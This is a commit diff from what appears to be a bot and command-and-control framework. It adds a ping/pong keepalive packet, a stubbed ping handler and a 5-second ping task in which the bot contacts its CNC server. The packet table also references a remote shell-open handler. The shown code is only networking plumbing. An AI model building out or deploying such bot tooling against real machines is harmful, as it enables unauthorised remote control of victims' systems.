Added LAIKAPKT_PINGPONG

- shell now has it's own task service, it's polled in shellC_poll()
- default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h

bot/include/bot.h

@@ -5,6 +5,7 @@
 #include "lpacket.h"
 #include "lsocket.h"
 #include "lpeer.h"
+#include "ltask.h"
 #include "lpolllist.h"
 #include "lsodium.h"
 
@@ -22,4 +23,6 @@ void laikaB_freeBot(struct sLaika_bot *bot);
 void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
 bool laikaB_poll(struct sLaika_bot *bot, int timeout);
 
+void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
+
 #endif

bot/src/bot.c

@@ -12,6 +12,11 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
     LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
 }
 
+void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    LAIKA_DEBUG("got ping from cnc!\n");
+    /* stubbed */
+}
+
 /* =============================================[[ Packet Tables ]]============================================== */
 
 struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
@@ -19,6 +24,10 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
         laikaB_handleHandshakeResponse,
         sizeof(uint8_t),
     false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
+        laikaB_handlePing,
+        0,
+    false),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
         laikaB_handleShellOpen,
         sizeof(uint16_t) + sizeof(uint16_t),
@@ -152,4 +161,10 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
     /* flush any events after (eg. made by a packet handler) */
     laikaP_flushOutQueue(&bot->pList);
     return true;
+}
+
+void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+
+    laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
 }

bot/src/main.c

@@ -30,6 +30,7 @@ int main(int argv, char *argc[]) {
         /* init task service */
         laikaT_initTaskService(&tService);
         laikaT_newTask(&tService, 100, shellTask, (void*)bot);
+        laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot);
 
         LAIKA_TRY
             /* connect to test CNC */